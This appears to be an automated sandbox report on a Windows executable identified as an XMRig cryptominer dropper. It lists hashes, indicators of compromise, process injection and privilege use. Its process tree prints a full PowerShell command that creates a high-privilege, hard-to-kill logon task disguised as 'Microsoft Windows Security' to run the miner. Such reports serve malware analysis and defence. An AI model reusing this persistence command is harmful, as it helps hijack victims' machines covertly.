Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
30-11-2024 01:02
Behavioral task
behavioral1
Sample
2208413971.exe
Resource
win7-20240708-en
windows7-x64
18 signatures
150 seconds
Behavioral task
behavioral2
Sample
2208413971.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
15 signatures
150 seconds
General
-
Target
2208413971.exe
-
Size
10KB
-
MD5
96509ab828867d81c1693b614b22f41d
-
SHA1
c5f82005dbda43cedd86708cc5fc3635a781a67e
-
SHA256
a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744
-
SHA512
ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca
-
SSDEEP
96:vdHiIV5H6c10lqo9ZYAoQdVDCcJ+587tG6AuJxGE9btz2qhRC7tCEOhd1Q:vdHiQ5HV1wr9KA/J+izJxTZtzthyOhd
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 3720 created 3424 3720 2447833663.exe 56 PID 3720 created 3424 3720 2447833663.exe 56 PID 3244 created 3424 3244 winupsecvmgr.exe 56 PID 3244 created 3424 3244 winupsecvmgr.exe 56 PID 3244 created 3424 3244 winupsecvmgr.exe 56 -
Xmrig family
-
XMRig Miner payload 13 IoCs
resource yara_rule behavioral2/memory/3244-43-0x00007FF791A80000-0x00007FF792017000-memory.dmp xmrig behavioral2/memory/1596-45-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-47-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-49-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-51-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-53-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-55-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-57-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-59-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-61-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-63-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-65-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig behavioral2/memory/1596-67-0x00007FF629130000-0x00007FF62991F000-memory.dmp xmrig -
Downloads MZ/PE file
-
Executes dropped EXE 2 IoCs
pid Process 3720 2447833663.exe 3244 winupsecvmgr.exe -
pid Process 5096 powershell.exe 2156 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3244 set thread context of 1756 3244 winupsecvmgr.exe 106 PID 3244 set thread context of 1596 3244 winupsecvmgr.exe 107 -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2208413971.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 3720 2447833663.exe 3720 2447833663.exe 5096 powershell.exe 5096 powershell.exe 3720 2447833663.exe 3720 2447833663.exe 3244 winupsecvmgr.exe 3244 winupsecvmgr.exe 2156 powershell.exe 2156 powershell.exe 3244 winupsecvmgr.exe 3244 winupsecvmgr.exe 3244 winupsecvmgr.exe 3244 winupsecvmgr.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5096 powershell.exe Token: SeIncreaseQuotaPrivilege 5096 powershell.exe Token: SeSecurityPrivilege 5096 powershell.exe Token: SeTakeOwnershipPrivilege 5096 powershell.exe Token: SeLoadDriverPrivilege 5096 powershell.exe Token: SeSystemProfilePrivilege 5096 powershell.exe Token: SeSystemtimePrivilege 5096 powershell.exe Token: SeProfSingleProcessPrivilege 5096 powershell.exe Token: SeIncBasePriorityPrivilege 5096 powershell.exe Token: SeCreatePagefilePrivilege 5096 powershell.exe Token: SeBackupPrivilege 5096 powershell.exe Token: SeRestorePrivilege 5096 powershell.exe Token: SeShutdownPrivilege 5096 powershell.exe Token: SeDebugPrivilege 5096 powershell.exe Token: SeSystemEnvironmentPrivilege 5096 powershell.exe Token: SeRemoteShutdownPrivilege 5096 powershell.exe Token: SeUndockPrivilege 5096 powershell.exe Token: SeManageVolumePrivilege 5096 powershell.exe Token: 33 5096 powershell.exe Token: 34 5096 powershell.exe Token: 35 5096 powershell.exe Token: 36 5096 powershell.exe Token: SeIncreaseQuotaPrivilege 5096 powershell.exe Token: SeSecurityPrivilege 5096 powershell.exe Token: SeTakeOwnershipPrivilege 5096 powershell.exe Token: SeLoadDriverPrivilege 5096 powershell.exe Token: SeSystemProfilePrivilege 5096 powershell.exe Token: SeSystemtimePrivilege 5096 powershell.exe Token: SeProfSingleProcessPrivilege 5096 powershell.exe Token: SeIncBasePriorityPrivilege 5096 powershell.exe Token: SeCreatePagefilePrivilege 5096 powershell.exe Token: SeBackupPrivilege 5096 powershell.exe Token: SeRestorePrivilege 5096 powershell.exe Token: SeShutdownPrivilege 5096 powershell.exe Token: SeDebugPrivilege 5096 powershell.exe Token: SeSystemEnvironmentPrivilege 5096 powershell.exe Token: SeRemoteShutdownPrivilege 5096 powershell.exe Token: SeUndockPrivilege 5096 powershell.exe Token: SeManageVolumePrivilege 5096 powershell.exe Token: 33 5096 powershell.exe Token: 34 5096 powershell.exe Token: 35 5096 powershell.exe Token: 36 5096 powershell.exe Token: SeIncreaseQuotaPrivilege 5096 powershell.exe Token: SeSecurityPrivilege 5096 powershell.exe Token: SeTakeOwnershipPrivilege 5096 powershell.exe Token: SeLoadDriverPrivilege 5096 powershell.exe Token: SeSystemProfilePrivilege 5096 powershell.exe Token: SeSystemtimePrivilege 5096 powershell.exe Token: SeProfSingleProcessPrivilege 5096 powershell.exe Token: SeIncBasePriorityPrivilege 5096 powershell.exe Token: SeCreatePagefilePrivilege 5096 powershell.exe Token: SeBackupPrivilege 5096 powershell.exe Token: SeRestorePrivilege 5096 powershell.exe Token: SeShutdownPrivilege 5096 powershell.exe Token: SeDebugPrivilege 5096 powershell.exe Token: SeSystemEnvironmentPrivilege 5096 powershell.exe Token: SeRemoteShutdownPrivilege 5096 powershell.exe Token: SeUndockPrivilege 5096 powershell.exe Token: SeManageVolumePrivilege 5096 powershell.exe Token: 33 5096 powershell.exe Token: 34 5096 powershell.exe Token: 35 5096 powershell.exe Token: 36 5096 powershell.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe 1596 dwm.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4148 wrote to memory of 3720 4148 2208413971.exe 84 PID 4148 wrote to memory of 3720 4148 2208413971.exe 84 PID 3244 wrote to memory of 1756 3244 winupsecvmgr.exe 106 PID 3244 wrote to memory of 1596 3244 winupsecvmgr.exe 107 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3424
-
C:\Users\Admin\AppData\Local\Temp\2208413971.exe"C:\Users\Admin\AppData\Local\Temp\2208413971.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4148 -
C:\Users\Admin\AppData\Local\Temp\2447833663.exeC:\Users\Admin\AppData\Local\Temp\2447833663.exe3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3720
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5096
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"2⤵PID:2584
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2156
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵PID:1756
-
-
C:\Windows\System32\dwm.exeC:\Windows\System32\dwm.exe2⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1596
-
-
C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3244
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5fee026663fcb662152188784794028ee
SHA13c02a26a9cb16648fad85c6477b68ced3cb0cb45
SHA256dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b
SHA5127b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6
-
Filesize
1KB
MD5fc35bf2367ee5c6feb084ab39f5c26eb
SHA1cd9742c05391a92780a81fe836797a5909c7f9c1
SHA2567ad08f1c2e7df4102eb3a6d213f4a0c245300c275fd53e463655a8ab9fa3ec64
SHA5120b6662ea93907902c9f5db98bed4e9d322a69e7b8df921f6b8bd8026fdbfa556b0afe29013e3ecc8982a6339c48b4fe371ba587f02c39de72cb3840ed0e6747b
-
Filesize
5.6MB
MD513b26b2c7048a92d6a843c1302618fad
SHA189c2dfc01ac12ef2704c7669844ec69f1700c1ca
SHA2561753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256
SHA512d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82